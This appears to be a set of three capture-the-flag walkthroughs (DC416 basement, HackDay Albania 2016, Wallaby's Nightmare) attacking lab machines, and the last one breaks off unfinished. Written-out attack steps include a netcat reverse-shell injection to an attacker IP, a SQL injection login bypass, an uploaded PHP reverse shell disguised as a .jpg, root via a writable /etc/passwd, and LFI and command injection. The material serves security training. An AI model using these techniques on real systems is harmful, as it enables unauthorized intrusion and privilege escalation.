DC146:2016 basement challenge

Hello,

Today I would like to present dc416-2016-basement challenge walkthrough.

Nmap port scanning.

Looking for our target, we discovered that the machine has assigned 192.168.253.30 IP address.

Now, let's try check what kind of services serves our target.

OK, nmap scanning has discovered 4 open ports. We can see that the target uses port 8080 as a HTTP Proxy. Hmmm, interesting.

Let's begin our penetration test from 80 HTTP port.

I run DirBuster, but it doesn't find anything interesting and useful... So let's check what is hosted on port 10000.

Hmmm, maybe we should try play with it via netcat?

Probably on port 10000 is something like a ping -c [number of packets] 127.0.0.1.

Maybe we will be able to inject some command to obtain reverse shell.
Do to that, we have to import os.system, so let's do that!

Very good, we executed id command on victim's OS.

We are able to obtain reverse shell using __import__('os').system('nc -nv 192.168.56.1 53 -e /bin/sh')

Excellent! We have got limited shell.

jack@basement:~$ ls
ls
flag.txt  ping.py  run_ping.sh
jack@basement:~$ cat flag.txt
cat flag.txt
flag{j4cks_t0t4L_l4cK_0f_$uRpr1sE}

Good :)

HackDay Albania 2016

Hello,

Description
This was used in HackDay Albania's 2016 CTF.

Scanning phase
Our nmap scanning show us, that our target has assigned 192.168.56.101 address.

So, looking at the host deeper, we can see that there are couple open ports.

Good, let's begin our penetration test from 8008 port.

Nice picture. Let's look at robots.txt file

Disallow: /rkfpuzrahngvat/
Disallow: /slgqvasbiohwbu/
Disallow: /tmhrwbtcjpixcv/
Disallow: /vojtydvelrkzex/
Disallow: /wpkuzewfmslafy/
Disallow: /xqlvafxgntmbgz/
Disallow: /yrmwbgyhouncha/
Disallow: /zsnxchzipvodib/
Disallow: /atoydiajqwpejc/
Disallow: /bupzejbkrxqfkd/
Disallow: /cvqafkclsyrgle/
Disallow: /unisxcudkqjydw/
Disallow: /dwrbgldmtzshmf/
Disallow: /exschmenuating/
Disallow: /fytdinfovbujoh/
Disallow: /gzuejogpwcvkpi/
Disallow: /havfkphqxdwlqj/
Disallow: /ibwglqiryexmrk/
Disallow: /jcxhmrjszfynsl/
Disallow: /kdyinsktagzotm/
Disallow: /lezjotlubhapun/
Disallow: /mfakpumvcibqvo/
Disallow: /ngblqvnwdjcrwp/
Disallow: /ohcmrwoxekdsxq/
Disallow: /pidnsxpyfletyr/
Disallow: /qjeotyqzgmfuzs/

Good, let's add this path to some kind of dictionary and run Dirbuster.

Hmmm, /unisxcudkqjydw/ has smaller size of response than other. So, let's look at this path deeper.

OK, let's examine /vulnbank/

Great! Clicking on client/ directory

Excellent! But we don't know valid credentials. Unfortunately default credentials doesn't work... Let's try SQL Injection technique.

And indeed, very interesting, isn't it? Trying admin' || 1=1 # and password abcd, we are logged in!

Excellent, we are able to upload some file using Browse button.
I tried upload *.php file, but I have got message that the application allows only picture extensions such as *.jpeg, *.jpg, etc...
So, let's change extension of our PHP reverse shell from *.php to *.jpg.

Using python3.5 -c "import pty;pty.spawn('/bin/bash')" we can spawn shell.
Looking at config.php we can find

Unfortunately databases don't have useful passwords for us.
Looking at /etc/passwd, we can see useful information

-rw-r--rw- 1 root root 1623 Oct 22 17:21 /etc/passwd

Good, we are able to edit passwd file. So, we are able to add certain user with known password with root privileges.

Wallaby's: Nightmare (1.0.2)

Hi,

Today I want to present Wallaby's: Nightmare (1.0.2) walkthrough.

Scanning phase

Good, we know that our target has assigned IP 1921.68.56.100 or 192.168.56.101.
Let's try investigate .101 deeper using nmap scanner with -p- -sV options.

Great, the result provided us to very juicy information such as open ports and version of services which are hosted on it.

Let's begin our penetration test for web application.

Interesting, isn't it? Let's try use test username.

Our username is used in the application, hmmm. Clicking on "Start the CTF!" we are redirected to certain page

Nothing interesting? Let's look at the URL, we can utilize page parameter to try LFI or RFI.

Bingo! This parameter is vulnerable to LFI! But unfortunately after this action I have got...

It's not issue with my network connection :-( I am confused, so let's try use nmap again.

Wow! port 80 is not open, but we can see that new port has been opened - 60080! Let's investigate this port!

Looking for some useful URL's I tried this URL address which I know

Bingo! There is also LFI vulnerability! Trying read /etc/shadow I haven;t got result.
I spent a lot of time on searching method or files which I will be able to display, I guessed mailer file.

Interesting, let's look at source code

Hmmm, in the source code, we can see that mailer file has mail parameter. Let's play with it.

Excellent! mail parameter can execute bash command!

Great! We have limited shell! Let's investigate what kind of privileges we have.

Good, we have full control on firewall, so le'ts flush rules.

OK, let's try connect to the IRC (port 6667) which was filtered before our action.
Now we are able to connect to the IRC.

[TBU]